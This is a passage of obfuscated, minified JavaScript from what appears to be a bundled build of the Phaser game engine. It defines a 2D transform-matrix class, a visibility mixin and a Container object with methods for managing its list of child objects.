this['parentContainer']; _0x1bf0e5;)_0x2e6497 += _0x1bf0e5['rotation'], _0x1bf0e5 = _0x1bf0e5['parentContainer']; return _0x2e6497; } }; _0x159656['exports'] = _0x30cc87; }, 0x1083: (_0xa71765, _0x3597bc, _0x2a8778) => { var _0x394e4b = _0x2a8778(0x1d31), _0x12a28a = _0x2a8778(0x1d01), _0x181b16 = _0x2a8778(0x9e1), _0x1e59aa = new _0x394e4b({ 'initialize': function (_0x1c91ba, _0x58aeca, _0x50b4f1, _0x4f0c93, _0x4dfcd6, _0x3ae7af) { void 0x0 === _0x1c91ba && (_0x1c91ba = 0x1), void 0x0 === _0x58aeca && (_0x58aeca = 0x0), void 0x0 === _0x50b4f1 && (_0x50b4f1 = 0x0), void 0x0 === _0x4f0c93 && (_0x4f0c93 = 0x1), void 0x0 === _0x4dfcd6 && (_0x4dfcd6 = 0x0), void 0x0 === _0x3ae7af && (_0x3ae7af = 0x0), this['matrix'] = new Float32Array([_0x1c91ba, _0x58aeca, _0x50b4f1, _0x4f0c93, _0x4dfcd6, _0x3ae7af, 0x0, 0x0, 0x1]), this['decomposedMatrix'] = { 'translateX': 0x0, 'translateY': 0x0, 'scaleX': 0x1, 'scaleY': 0x1, 'rotation': 0x0 }, this['quad'] = new Float32Array(0x8); }, 'a': { 'get': function () { return this['matrix'][0x0]; }, 'set': function (_0x10bedf) { this['matrix'][0x0] = _0x10bedf; } }, 'b': { 'get': function () { return this['matrix'][0x1]; }, 'set': function (_0x1e9f60) { this['matrix'][0x1] = _0x1e9f60; } }, 'c': { 'get': function () { return this['matrix'][0x2]; }, 'set': function (_0x23269b) { this['matrix'][0x2] = _0x23269b; } }, 'd': { 'get': function () { return this['matrix'][0x3]; }, 'set': function (_0xc556d1) { this['matrix'][0x3] = _0xc556d1; } }, 'e': { 'get': function () { return this['matrix'][0x4]; }, 'set': function (_0x15adf0) { this['matrix'][0x4] = _0x15adf0; } }, 'f': { 'get': function () { return this['matrix'][0x5]; }, 'set': function (_0x1b7d8f) { this['matrix'][0x5] = _0x1b7d8f; } }, 'tx': { 'get': function () { return this['matrix'][0x4]; }, 'set': function (_0x430da4) { this['matrix'][0x4] = _0x430da4; } }, 'ty': { 'get': function () { return this['matrix'][0x5]; }, 'set': function (_0x3ff563) { this['matrix'][0x5] = _0x3ff563; } }, 'rotation': { 'get': function () { return Math['acos'](this['a'] / this['scaleX']) * (Math['atan'](-this['c'] / this['a']) < 0x0 ? -0x1 : 0x1); } }, 'rotationNormalized': { 'get': function () { var _0x541cdd = this['matrix'], _0x43663e = _0x541cdd[0x0], _0x1cc13b = _0x541cdd[0x1], _0x2790d8 = _0x541cdd[0x2], _0x1dc77b = _0x541cdd[0x3]; return _0x43663e || _0x1cc13b ? _0x1cc13b > 0x0 ? Math['acos'](_0x43663e / this['scaleX']) : -Math['acos'](_0x43663e / this['scaleX']) : _0x2790d8 || _0x1dc77b ? _0x12a28a['TAU'] - (_0x1dc77b > 0x0 ? Math['acos'](-_0x2790d8 / this['scaleY']) : -Math['acos'](_0x2790d8 / this['scaleY'])) : 0x0; } }, 'scaleX': { 'get': function () { return Math['sqrt'](this['a'] * this['a'] + this['b'] * this['b']); } }, 'scaleY': { 'get': function () { return Math['sqrt'](this['c'] * this['c'] + this['d'] * this['d']); } }, 'loadIdentity': function () { var _0x2c75db = this['matrix']; return _0x2c75db[0x0] = 0x1, _0x2c75db[0x1] = 0x0, _0x2c75db[0x2] = 0x0, _0x2c75db[0x3] = 0x1, _0x2c75db[0x4] = 0x0, _0x2c75db[0x5] = 0x0, this; }, 'translate': function (_0x496423, _0x440760) { var _0x4f9a71 = this['matrix']; return _0x4f9a71[0x4] = _0x4f9a71[0x0] * _0x496423 + _0x4f9a71[0x2] * _0x440760 + _0x4f9a71[0x4], _0x4f9a71[0x5] = _0x4f9a71[0x1] * _0x496423 + _0x4f9a71[0x3] * _0x440760 + _0x4f9a71[0x5], this; }, 'scale': function (_0x44f049, _0x5169fd) { var _0x3ee27e = this['matrix']; return _0x3ee27e[0x0] *= _0x44f049, _0x3ee27e[0x1] *= _0x44f049, _0x3ee27e[0x2] *= _0x5169fd, _0x3ee27e[0x3] *= _0x5169fd, this; }, 'rotate': function (_0x14631c) { var _0xf385e3 = Math['sin'](_0x14631c), _0x53f244 = Math['cos'](_0x14631c), _0x50133d = this['matrix'], _0x4c9ac3 = _0x50133d[0x0], _0x3bc394 = _0x50133d[0x1], _0x13d1c7 = _0x50133d[0x2], _0x1c1a1b = _0x50133d[0x3]; return _0x50133d[0x0] = _0x4c9ac3 * _0x53f244 + _0x13d1c7 * _0xf385e3, _0x50133d[0x1] = _0x3bc394 * _0x53f244 + _0x1c1a1b * _0xf385e3, _0x50133d[0x2] = _0x4c9ac3 * -_0xf385e3 + _0x13d1c7 * _0x53f244, _0x50133d[0x3] = _0x3bc394 * -_0xf385e3 + _0x1c1a1b * _0x53f244, this; }, 'multiply': function (_0xdd5efb, _0x148951) { var _0x5350f0 = this['matrix'], _0x222b6b = _0xdd5efb['matrix'], _0xba1d68 = _0x5350f0[0x0], _0x6623c = _0x5350f0[0x1], _0x9ed422 = _0x5350f0[0x2], _0x50ea1c = _0x5350f0[0x3], _0x519a55 = _0x5350f0[0x4], _0x217788 = _0x5350f0[0x5], _0x4503b2 = _0x222b6b[0x0], _0x79dfb1 = _0x222b6b[0x1], _0x5065a3 = _0x222b6b[0x2], _0x9509e9 = _0x222b6b[0x3], _0x3bee41 = _0x222b6b[0x4], _0xa3f7a1 = _0x222b6b[0x5], _0x418722 = void 0x0 === _0x148951 ? _0x5350f0 : _0x148951['matrix']; return _0x418722[0x0] = _0x4503b2 * _0xba1d68 + _0x79dfb1 * _0x9ed422, _0x418722[0x1] = _0x4503b2 * _0x6623c + _0x79dfb1 * _0x50ea1c, _0x418722[0x2] = _0x5065a3 * _0xba1d68 + _0x9509e9 * _0x9ed422, _0x418722[0x3] = _0x5065a3 * _0x6623c + _0x9509e9 * _0x50ea1c, _0x418722[0x4] = _0x3bee41 * _0xba1d68 + _0xa3f7a1 * _0x9ed422 + _0x519a55, _0x418722[0x5] = _0x3bee41 * _0x6623c + _0xa3f7a1 * _0x50ea1c + _0x217788, _0x418722; }, 'multiplyWithOffset': function (_0x32b500, _0x20afde, _0x347c7d) { var _0x3bcf68 = this['matrix'], _0x1d204b = _0x32b500['matrix'], _0x47460e = _0x3bcf68[0x0], _0x277010 = _0x3bcf68[0x1], _0x4f3ff6 = _0x3bcf68[0x2], _0x49452b = _0x3bcf68[0x3], _0x4b3db8 = _0x20afde * _0x47460e + _0x347c7d * _0x4f3ff6 + _0x3bcf68[0x4], _0xde39b = _0x20afde * _0x277010 + _0x347c7d * _0x49452b + _0x3bcf68[0x5], _0x427ded = _0x1d204b[0x0], _0x35d9d2 = _0x1d204b[0x1], _0x3d7785 = _0x1d204b[0x2], _0x526d82 = _0x1d204b[0x3], _0x5b0501 = _0x1d204b[0x4], _0x50db18 = _0x1d204b[0x5]; return _0x3bcf68[0x0] = _0x427ded * _0x47460e + _0x35d9d2 * _0x4f3ff6, _0x3bcf68[0x1] = _0x427ded * _0x277010 + _0x35d9d2 * _0x49452b, _0x3bcf68[0x2] = _0x3d7785 * _0x47460e + _0x526d82 * _0x4f3ff6, _0x3bcf68[0x3] = _0x3d7785 * _0x277010 + _0x526d82 * _0x49452b, _0x3bcf68[0x4] = _0x5b0501 * _0x47460e + _0x50db18 * _0x4f3ff6 + _0x4b3db8, _0x3bcf68[0x5] = _0x5b0501 * _0x277010 + _0x50db18 * _0x49452b + _0xde39b, this; }, 'transform': function (_0x4d04aa, _0x2e65c0, _0x2fb3bf, _0x7d0e5c, _0x1b73be, _0x1532de) { var _0xbe75c = this['matrix'], _0x5abc54 = _0xbe75c[0x0], _0x1a7ab9 = _0xbe75c[0x1], _0x134a02 = _0xbe75c[0x2], _0x38fc4e = _0xbe75c[0x3], _0x6a8b7f = _0xbe75c[0x4], _0x1a9ff2 = _0xbe75c[0x5]; return _0xbe75c[0x0] = _0x4d04aa * _0x5abc54 + _0x2e65c0 * _0x134a02, _0xbe75c[0x1] = _0x4d04aa * _0x1a7ab9 + _0x2e65c0 * _0x38fc4e, _0xbe75c[0x2] = _0x2fb3bf * _0x5abc54 + _0x7d0e5c * _0x134a02, _0xbe75c[0x3] = _0x2fb3bf * _0x1a7ab9 + _0x7d0e5c * _0x38fc4e, _0xbe75c[0x4] = _0x1b73be * _0x5abc54 + _0x1532de * _0x134a02 + _0x6a8b7f, _0xbe75c[0x5] = _0x1b73be * _0x1a7ab9 + _0x1532de * _0x38fc4e + _0x1a9ff2, this; }, 'transformPoint': function (_0x6724bd, _0x100c2f, _0x504f9a) { void 0x0 === _0x504f9a && (_0x504f9a = { 'x': 0x0, 'y': 0x0 }); var _0x51fdff = this['matrix'], _0x3611cd = _0x51fdff[0x0], _0x36908d = _0x51fdff[0x1], _0x32ddb0 = _0x51fdff[0x2], _0x325a9e = _0x51fdff[0x3], _0x118151 = _0x51fdff[0x4], _0x11a3a9 = _0x51fdff[0x5]; return _0x504f9a['x'] = _0x6724bd * _0x3611cd + _0x100c2f * _0x32ddb0 + _0x118151, _0x504f9a['y'] = _0x6724bd * _0x36908d + _0x100c2f * _0x325a9e + _0x11a3a9, _0x504f9a; }, 'invert': function () { var _0xfb16fb = this['matrix'], _0x556837 = _0xfb16fb[0x0], _0x57cab5 = _0xfb16fb[0x1], _0x4170ae = _0xfb16fb[0x2], _0x183a2a = _0xfb16fb[0x3], _0x26f428 = _0xfb16fb[0x4], _0x1e6d51 = _0xfb16fb[0x5], _0x224d6c = _0x556837 * _0x183a2a - _0x57cab5 * _0x4170ae; return _0xfb16fb[0x0] = _0x183a2a / _0x224d6c, _0xfb16fb[0x1] = -_0x57cab5 / _0x224d6c, _0xfb16fb[0x2] = -_0x4170ae / _0x224d6c, _0xfb16fb[0x3] = _0x556837 / _0x224d6c, _0xfb16fb[0x4] = (_0x4170ae * _0x1e6d51 - _0x183a2a * _0x26f428) / _0x224d6c, _0xfb16fb[0x5] = -(_0x556837 * _0x1e6d51 - _0x57cab5 * _0x26f428) / _0x224d6c, this; }, 'copyFrom': function (_0x2f4070) { var _0x590d96 = this['matrix']; return _0x590d96[0x0] = _0x2f4070['a'], _0x590d96[0x1] = _0x2f4070['b'], _0x590d96[0x2] = _0x2f4070['c'], _0x590d96[0x3] = _0x2f4070['d'], _0x590d96[0x4] = _0x2f4070['e'], _0x590d96[0x5] = _0x2f4070['f'], this; }, 'copyFromArray': function (_0x4c3735) { var _0x5ab7f2 = this['matrix']; return _0x5ab7f2[0x0] = _0x4c3735[0x0], _0x5ab7f2[0x1] = _0x4c3735[0x1], _0x5ab7f2[0x2] = _0x4c3735[0x2], _0x5ab7f2[0x3] = _0x4c3735[0x3], _0x5ab7f2[0x4] = _0x4c3735[0x4], _0x5ab7f2[0x5] = _0x4c3735[0x5], this; }, 'copyToContext': function (_0x3a5a07) { var _0x47362d = this['matrix']; return _0x3a5a07['transform'](_0x47362d[0x0], _0x47362d[0x1], _0x47362d[0x2], _0x47362d[0x3], _0x47362d[0x4], _0x47362d[0x5]), _0x3a5a07; }, 'setToContext': function (_0x5caa77) { return _0x5caa77['setTransform'](this), _0x5caa77; }, 'copyToArray': function (_0x18bbce) { var _0x1abde4 = this['matrix']; return void 0x0 === _0x18bbce ? _0x18bbce = [_0x1abde4[0x0], _0x1abde4[0x1], _0x1abde4[0x2], _0x1abde4[0x3], _0x1abde4[0x4], _0x1abde4[0x5]] : (_0x18bbce[0x0] = _0x1abde4[0x0], _0x18bbce[0x1] = _0x1abde4[0x1], _0x18bbce[0x2] = _0x1abde4[0x2], _0x18bbce[0x3] = _0x1abde4[0x3], _0x18bbce[0x4] = _0x1abde4[0x4], _0x18bbce[0x5] = _0x1abde4[0x5]), _0x18bbce; }, 'setTransform': function (_0xa30b41, _0x22c08e, _0x3fa260, _0x4b2710, _0x2e39c0, _0x55be80) { var _0x2f01e9 = this['matrix']; return _0x2f01e9[0x0] = _0xa30b41, _0x2f01e9[0x1] = _0x22c08e, _0x2f01e9[0x2] = _0x3fa260, _0x2f01e9[0x3] = _0x4b2710, _0x2f01e9[0x4] = _0x2e39c0, _0x2f01e9[0x5] = _0x55be80, this; }, 'decomposeMatrix': function () { var _0x5c7986 = this['decomposedMatrix'], _0x22f277 = this['matrix'], _0x2bddf4 = _0x22f277[0x0], _0x3da654 = _0x22f277[0x1], _0x28f5a2 = _0x22f277[0x2], _0x5359c6 = _0x22f277[0x3], _0x4b6946 = _0x2bddf4 * _0x5359c6 - _0x3da654 * _0x28f5a2; if (_0x5c7986['translateX'] = _0x22f277[0x4], _0x5c7986['translateY'] = _0x22f277[0x5], _0x2bddf4 || _0x3da654) { var _0x2f30f0 = Math['sqrt'](_0x2bddf4 * _0x2bddf4 + _0x3da654 * _0x3da654); _0x5c7986['rotation'] = _0x3da654 > 0x0 ? Math['acos'](_0x2bddf4 / _0x2f30f0) : -Math['acos'](_0x2bddf4 / _0x2f30f0), _0x5c7986['scaleX'] = _0x2f30f0, _0x5c7986['scaleY'] = _0x4b6946 / _0x2f30f0; } else { if (_0x28f5a2 || _0x5359c6) { var _0x514353 = Math['sqrt'](_0x28f5a2 * _0x28f5a2 + _0x5359c6 * _0x5359c6); _0x5c7986['rotation'] = 0.5 * Math['PI'] - (_0x5359c6 > 0x0 ? Math['acos'](-_0x28f5a2 / _0x514353) : -Math['acos'](_0x28f5a2 / _0x514353)), _0x5c7986['scaleX'] = _0x4b6946 / _0x514353, _0x5c7986['scaleY'] = _0x514353; } else _0x5c7986['rotation'] = 0x0, _0x5c7986['scaleX'] = 0x0, _0x5c7986['scaleY'] = 0x0; } return _0x5c7986; }, 'applyITRS': function (_0xc329ef, _0xc32de8, _0x2309dd, _0x37b814, _0x194448) { var _0x4ae4b3 = this['matrix'], _0x33ee2f = Math['sin'](_0x2309dd), _0x194c1e = Math['cos'](_0x2309dd); return _0x4ae4b3[0x4] = _0xc329ef, _0x4ae4b3[0x5] = _0xc32de8, _0x4ae4b3[0x0] = _0x194c1e * _0x37b814, _0x4ae4b3[0x1] = _0x33ee2f * _0x37b814, _0x4ae4b3[0x2] = -_0x33ee2f * _0x194448, _0x4ae4b3[0x3] = _0x194c1e * _0x194448, this; }, 'applyInverse': function (_0x3538ec, _0x387dc8, _0x1a8be1) { void 0x0 === _0x1a8be1 && (_0x1a8be1 = new _0x181b16()); var _0x523b76 = this['matrix'], _0x114d31 = _0x523b76[0x0], _0x131a9c = _0x523b76[0x1], _0x5b4027 = _0x523b76[0x2], _0x4590e7 = _0x523b76[0x3], _0x425ea1 = _0x523b76[0x4], _0x16ef03 = _0x523b76[0x5], _0x327ba1 = 0x1 / (_0x114d31 * _0x4590e7 + _0x5b4027 * -_0x131a9c); return _0x1a8be1['x'] = _0x4590e7 * _0x327ba1 * _0x3538ec + -_0x5b4027 * _0x327ba1 * _0x387dc8 + (_0x16ef03 * _0x5b4027 - _0x425ea1 * _0x4590e7) * _0x327ba1, _0x1a8be1['y'] = _0x114d31 * _0x327ba1 * _0x387dc8 + -_0x131a9c * _0x327ba1 * _0x3538ec + (-_0x16ef03 * _0x114d31 + _0x425ea1 * _0x131a9c) * _0x327ba1, _0x1a8be1; }, 'setQuad': function (_0x5567d7, _0x170db3, _0x592ee3, _0x47cca8, _0x51473b, _0xc22157) { void 0x0 === _0x51473b && (_0x51473b = !0x1), void 0x0 === _0xc22157 && (_0xc22157 = this['quad']); var _0x2ecf28 = this['matrix'], _0x7e4eb8 = _0x2ecf28[0x0], _0x47955c = _0x2ecf28[0x1], _0x361a53 = _0x2ecf28[0x2], _0x1da79f = _0x2ecf28[0x3], _0x268801 = _0x2ecf28[0x4], _0x5574c9 = _0x2ecf28[0x5]; return _0x51473b ? (_0xc22157[0x0] = Math['round'](_0x5567d7 * _0x7e4eb8 + _0x170db3 * _0x361a53 + _0x268801), _0xc22157[0x1] = Math['round'](_0x5567d7 * _0x47955c + _0x170db3 * _0x1da79f + _0x5574c9), _0xc22157[0x2] = Math['round'](_0x5567d7 * _0x7e4eb8 + _0x47cca8 * _0x361a53 + _0x268801), _0xc22157[0x3] = Math['round'](_0x5567d7 * _0x47955c + _0x47cca8 * _0x1da79f + _0x5574c9), _0xc22157[0x4] = Math['round'](_0x592ee3 * _0x7e4eb8 + _0x47cca8 * _0x361a53 + _0x268801), _0xc22157[0x5] = Math['round'](_0x592ee3 * _0x47955c + _0x47cca8 * _0x1da79f + _0x5574c9), _0xc22157[0x6] = Math['round'](_0x592ee3 * _0x7e4eb8 + _0x170db3 * _0x361a53 + _0x268801), _0xc22157[0x7] = Math['round'](_0x592ee3 * _0x47955c + _0x170db3 * _0x1da79f + _0x5574c9)) : (_0xc22157[0x0] = _0x5567d7 * _0x7e4eb8 + _0x170db3 * _0x361a53 + _0x268801, _0xc22157[0x1] = _0x5567d7 * _0x47955c + _0x170db3 * _0x1da79f + _0x5574c9, _0xc22157[0x2] = _0x5567d7 * _0x7e4eb8 + _0x47cca8 * _0x361a53 + _0x268801, _0xc22157[0x3] = _0x5567d7 * _0x47955c + _0x47cca8 * _0x1da79f + _0x5574c9, _0xc22157[0x4] = _0x592ee3 * _0x7e4eb8 + _0x47cca8 * _0x361a53 + _0x268801, _0xc22157[0x5] = _0x592ee3 * _0x47955c + _0x47cca8 * _0x1da79f + _0x5574c9, _0xc22157[0x6] = _0x592ee3 * _0x7e4eb8 + _0x170db3 * _0x361a53 + _0x268801, _0xc22157[0x7] = _0x592ee3 * _0x47955c + _0x170db3 * _0x1da79f + _0x5574c9), _0xc22157; }, 'getX': function (_0x17d39a, _0x585e1a) { return _0x17d39a * this['a'] + _0x585e1a * this['c'] + this['e']; }, 'getY': function (_0x7b00f, _0x4700bd) { return _0x7b00f * this['b'] + _0x4700bd * this['d'] + this['f']; }, 'getXRound': function (_0xa8499, _0x265aea, _0xefc3a6) { var _0x176e45 = this['getX'](_0xa8499, _0x265aea); return _0xefc3a6 && (_0x176e45 = Math['round'](_0x176e45)), _0x176e45; }, 'getYRound': function (_0x12d38a, _0x996235, _0x17c6bf) { var _0x3df266 = this['getY'](_0x12d38a, _0x996235); return _0x17c6bf && (_0x3df266 = Math['round'](_0x3df266)), _0x3df266; }, 'getCSSMatrix': function () { var _0x49b78c = this['matrix']; return 'matrix(' + _0x49b78c[0x0] + ',' + _0x49b78c[0x1] + ',' + _0x49b78c[0x2] + ',' + _0x49b78c[0x3] + ',' + _0x49b78c[0x4] + ',' + _0x49b78c[0x5] + ')'; }, 'destroy': function () { this['matrix'] = null, this['quad'] = null, this['decomposedMatrix'] = null; } }); _0xa71765['exports'] = _0x1e59aa; }, 0x20de: _0x4bb9cb => { var _0x4a2f63 = { '_visible': !0x0, 'visible': { 'get': function () { return this['_visible']; }, 'set': function (_0x202b47) { _0x202b47 ? (this['_visible'] = !0x0, this['renderFlags'] |= 0x1) : (this['_visible'] = !0x1, this['renderFlags'] &= -0x2); } }, 'setVisible': function (_0xc2dd0) { return this['visible'] = _0xc2dd0, this; } }; _0x4bb9cb['exports'] = _0x4a2f63; }, 0x10be: (_0x4ae239, _0x28f03f, _0x26de6a) => { _0x4ae239['exports'] = { 'Alpha': _0x26de6a(0x10f8), 'AlphaSingle': _0x26de6a(0x11a6), 'BlendMode': _0x26de6a(0x1435), 'ComputedSize': _0x26de6a(0x7c7), 'Crop': _0x26de6a(0x2071), 'Depth': _0x26de6a(0xc3b), 'Flip': _0x26de6a(0x25bc), 'FX': _0x26de6a(0x65a), 'GetBounds': _0x26de6a(0xe57), 'Mask': _0x26de6a(0x8c6), 'Origin': _0x26de6a(0x13dd), 'PathFollower': _0x26de6a(0x4d), 'Pipeline': _0x26de6a(0x3da), 'PostPipeline': _0x26de6a(0x116d), 'ScrollFactor': _0x26de6a(0x1213), 'Size': _0x26de6a(0x74c), 'Texture': _0x26de6a(0x1370), 'TextureCrop': _0x26de6a(0x241b), 'Tint': _0x26de6a(0x163d), 'ToJSON': _0x26de6a(0x17ed), 'Transform': _0x26de6a(0xc8c), 'TransformMatrix': _0x26de6a(0x1083), 'Visible': _0x26de6a(0x20de) }; }, 0x1cc1: (_0x5b1025, _0x29ca5a, _0x3202bf) => { var _0x417e84 = _0x3202bf(0x7a1), _0x5b1b57 = _0x3202bf(0x209f), _0x74d4c3 = _0x3202bf(0x1d31), _0xbc65de = _0x3202bf(0x10be), _0x5780cb = _0x3202bf(0xd3d), _0x157052 = _0x3202bf(0x8e1), _0x323470 = _0x3202bf(0x570), _0x4d6679 = _0x3202bf(0xca0), _0x3fdb62 = _0x3202bf(0x24ce), _0x394fe4 = _0x3202bf(0x9e1), _0x8e827a = new _0x74d4c3({ 'Extends': _0x157052, 'Mixins': [_0xbc65de['AlphaSingle'], _0xbc65de['BlendMode'], _0xbc65de['ComputedSize'], _0xbc65de['Depth'], _0xbc65de['Mask'], _0xbc65de['PostPipeline'], _0xbc65de['Transform'], _0xbc65de['Visible'], _0x4d6679], 'initialize': function (_0xd038dd, _0x312dab, _0xcee041, _0x731810) { _0x157052['call'](this, _0xd038dd, 'Container'), this['list'] = [], this['exclusive'] = !0x0, this['maxSize'] = -0x1, this['position'] = 0x0, this['localTransform'] = new _0xbc65de['TransformMatrix'](), this['tempTransformMatrix'] = new _0xbc65de['TransformMatrix'](), this['_sortKey'] = '', this['_sysEvents'] = _0xd038dd['sys']['events'], this['scrollFactorX'] = 0x1, this['scrollFactorY'] = 0x1, this['initPostPipeline'](), this['setPosition'](_0x312dab, _0xcee041), this['setBlendMode'](_0x5b1b57['SKIP_CHECK']), _0x731810 && this['add'](_0x731810); }, 'originX': { 'get': function () { return 0.5; } }, 'originY': { 'get': function () { return 0.5; } }, 'displayOriginX': { 'get': function () { return 0.5 * this['width']; } }, 'displayOriginY': { 'get': function () { return 0.5 * this['height']; } }, 'setExclusive': function (_0x5e98b7) { return void 0x0 === _0x5e98b7 && (_0x5e98b7 = !0x0), this['exclusive'] = _0x5e98b7, this; }, 'getBounds': function (_0x39de9f) { if (void 0x0 === _0x39de9f && (_0x39de9f = new _0x323470()), _0x39de9f['setTo'](this['x'], this['y'], 0x0, 0x0), this['parentContainer']) { var _0x27c242 = this['parentContainer']['getBoundsTransformMatrix']()['transformPoint'](this['x'], this['y']); _0x39de9f['setTo'](_0x27c242['x'], _0x27c242['y'], 0x0, 0x0); } if (this['list']['length'] > 0x0) { var _0x3804aa = this['list'], _0xfd4b1b = new _0x323470(), _0x5ebe80 = !0x1; _0x39de9f['setEmpty'](); for (var _0x17ed3c = 0x0; _0x17ed3c < _0x3804aa['length']; _0x17ed3c++) { var _0x460dc3 = _0x3804aa[_0x17ed3c]; _0x460dc3['getBounds'] && (_0x460dc3['getBounds'](_0xfd4b1b), _0x5ebe80 ? _0x3fdb62(_0xfd4b1b, _0x39de9f, _0x39de9f) : (_0x39de9f['setTo'](_0xfd4b1b['x'], _0xfd4b1b['y'], _0xfd4b1b['width'], _0xfd4b1b['height']), _0x5ebe80 = !0x0)); } } return _0x39de9f; }, 'addHandler': function (_0x50440a) { _0x50440a['once'](_0x5780cb['DESTROY'], this['remove'], this), this['exclusive'] && (_0x50440a['parentContainer'] && _0x50440a['parentContainer']['remove'](_0x50440a), _0x50440a['parentContainer'] = this, _0x50440a['removeFromDisplayList'](), _0x50440a['addedToScene']()); }, 'removeHandler': function (_0x1a2cfb) { _0x1a2cfb['off'](_0x5780cb['DESTROY'], this['remove'], this), this['exclusive'] && (_0x1a2cfb['parentContainer'] = null, _0x1a2cfb['removedFromScene'](), _0x1a2cfb['addToDisplayList']()); }, 'pointToContainer': function (_0x42927c, _0x1572a4) { void 0x0 === _0x1572a4 && (_0x1572a4 = new _0x394fe4()), this['parentContainer'] ? this['parentContainer']['pointToContainer'](_0x42927c, _0x1572a4) : (_0x1572a4['x'] = _0x42927c['x'], _0x1572a4['y'] = _0x42927c['y']); var _0x189c8b = this['tempTransformMatrix']; return _0x189c8b['applyITRS'](this['x'], this['y'], this['rotation'], this['scaleX'], this['scaleY']), _0x189c8b['invert'](), _0x189c8b['transformPoint'](_0x42927c['x'], _0x42927c['y'], _0x1572a4), _0x1572a4; }, 'getBoundsTransformMatrix': function () { return this['getWorldTransformMatrix'](this['tempTransformMatrix'], this['localTransform']); }, 'add': function (_0x351ccc) { return _0x417e84['Add'](this['list'], _0x351ccc, this['maxSize'], this['addHandler'], this), this; }, 'addAt': function (_0x498513, _0x443e80) { return _0x417e84['AddAt'](this['list'], _0x498513, _0x443e80, this['maxSize'], this['addHandler'], this), this; }, 'getAt': function (_0x4d8c12) { return this['list'][_0x4d8c12]; }, 'getIndex': function (_0x4af166) { return this['list']['indexOf'](_0x4af166); }, 'sort': function (_0x34ee2d, _0x3890db) { return _0x34ee2d ? (void 0x0 === _0x3890db && (_0x3890db = function (_0x3f0ad4, _0x457a8d) { return _0x3f0ad4[_0x34ee2d] - _0x457a8d[_0x34ee2d]; }), _0x417e84['StableSort'](this['list'], _0x3890db), this) : this; }, 'getByName': function (_0x44b86d) { return _0x417e84['GetFirst'](this['list'], 'name', _0x44b86d); }, 'getRandom': function (_0x452ae0, _0xd7385e) { return _0x417e84['GetRandom'](this['list'], _0x452ae0, _0xd7385e); }, 'getFirst': function (_0x488fcc, _0x15d9bf, _0x2923b2, _0x13e6ea) { return _0x417e84['GetFirst'](this['list'], _0x488fcc, _0x15d9bf, _0x2923b2, _0x13e6ea); }, 'getAll': function (_0x18dd0d, _0x4877bf, _0x355ccb, _0x1bafe9) { return _0x417e84['GetAll'](this['list'], _0x18dd0d, _0x4877bf, _0x355ccb, _0x1bafe9); }, 'count': function (_0x7ec0cc, _0x3915aa, _0x5f3ec0, _0x40c254) { return _0x417e84['CountAllMatching'](this['list'], _0x7ec0cc, _0x3915aa, _0x5f3ec0, _0x40c254); }, 'swap': function (_0x47d643, _0x4ec242) { return _0x417e84['Swap'](this['list'], _0x47d643, _0x4ec242), this; }, 'moveTo': function (_0x3b7113, _0x50942b) { return _0x417e84['MoveTo'](this['list'], _0x3b7113, _0x50942b), this; }, 'moveAbove': function (_0x45adb0, _0x32aac5) { return _0x417e84['MoveAbove'](this['list'], _0x45adb0, _0x32aac5), this; }, 'moveBelow': function (_0x22ab5e, _0x87e34a) { return _0x417e84['MoveBelow'](this['list'], _0x22ab5e, _0x87e34a), this; }, 'remove': function (_0xce1f3d, _0x592a12) { var _0xf87c15 = _0x417e84['Remove'](this['list'], _0xce1f3d, this['removeHandler'], this); if (_0x592a12 && _0xf87c15) { Array['isArray'](_0xf87c15) || (_0xf87c15 = [_0xf87c15]); for (var _0xff9f09 = 0x0; _0xff9f09 < _0xf87c15['length']; _0xff9f09++)_0xf87c15[_0xff9f09]['destroy'](); } return this; }, 'removeAt': function (_0x44113e, _0x1905c5) { var _0x103afc = _0x417e84['RemoveAt'](this['list'], _0x44113e, this['removeHandler'], this); return _0x1905c5 && _0x103afc && _0x103afc['destroy'](), this; }, 'removeBetween': function (_0xc663e9, _0x3f49d4, _0x1f1463) { var _0x4c1ca7 = _0x417e84['RemoveBetween'](this['list'], _0xc663e9, _0x3f49d4, this['removeHandler'], this); if (_0x1f1463) { for (var _0x1efed4 = 0x0; _0x1efed4 < _0x4c1ca7['length']; _0x1efed4++)_0x4c1ca7[_0x1efed4]['destroy'](); } return this; }, 'removeAll': function (_0x174c4f) { var _0x15ae29 = this['list']; if (_0x174c4f) { for (var _0x11e37b = 0x0; _0x11e37b < _0x15ae29['length']; _0x11e37b++)_0x15ae29[_0x11e37b] && _0x15ae29[_0x11e37b]['scene'] && (_0x15ae29[_0x11e37b]['off'](_0x5780cb['DESTROY'], this['remove'], this), _0x15ae29[_0x11e37b]['destroy']()); this['list'] = []; } else _0x417e84['RemoveBetween'](_0x15ae29, 0x0, _0x15ae29['length'], this['removeHandler'], this); return this; }, 'bringToTop': function (_0x583b01) { return _0x417e84['BringToTop'](this['list'], _0x583b01), this; }, 'sendToBack': function (_0x325dc4) { return _0x417e84['SendToBack'](this['list'], _0x325dc4), this; }, 'moveUp': function (_0x5660d9) { return _0x417e84['MoveUp'](this['list'], _0x5660d9), this; }, 'moveDown': function (_0x25347d) { return _0x417e84['MoveDown'](this['list'], _0x25347d), this; }, 'reverse': function () { return this['list']['reverse'](), this; }, 'shuffle': function () { return _0x417e84['Shuffle'](this['list']), this; }, 'replace': function (_0x1b0747, _0x12e5de, _0x5b6848) { return _0x417e84['Replace'](this['list'], _0x1b0747, _0x12e5de) && (this['addHandler'](_0x12e5de), this['removeHandler'](_0x1b0747), _0x5b6848 && _0x1b0747['destroy']()), this; }, 'exists': function (_0x3e427c) { return this['list']['indexOf'](_0x3e427c) > -0x1; }, 'setAll': function (_0x5dead1, _0x223a6e, _0x436d79, _0x3cae84) { return _0x417e84['SetAll'](this['list'], _0x5dead1, _0x223a6e, _0x436d79, _0x3cae84), this; }, 'each': function (_0x31c8ec, _0x2cf78c) { var _0x482723, _0x3d1e9a = [null], _0x2429a5 = this['list']['slice'](), _0x25ff70 = _0x2429a5['length']; for (_0x482723 = 0x2; _0x482723 < arguments['length']; _0x482723++)_0x3d1e9a['push'](arguments[_0x482723]); for (_0x482723 = 0x0; _0x482723 < _0x25ff70; _0x482723++)_0x3d1e9a[0x0] = _0x2429a5[_0x482723], _0x31c8ec['apply'](_0x2cf78c, _0x3d1e9a); return this; }, 'iterate': function (_0x12be89, _0x31a172) { var _0x481a57, _0x121a07 = [null]; for (_0x481a57 = 0x2; _0x481a57 < arguments['length']; _0x481a57++)_0x121a07['push'](arguments[_0x481a57]); for (_0x481a57 = 0x0; _0x481a57 < this['list']['length']; _0x481a57++)_0x121a07[0x0] = this['list'][_0x481a57], 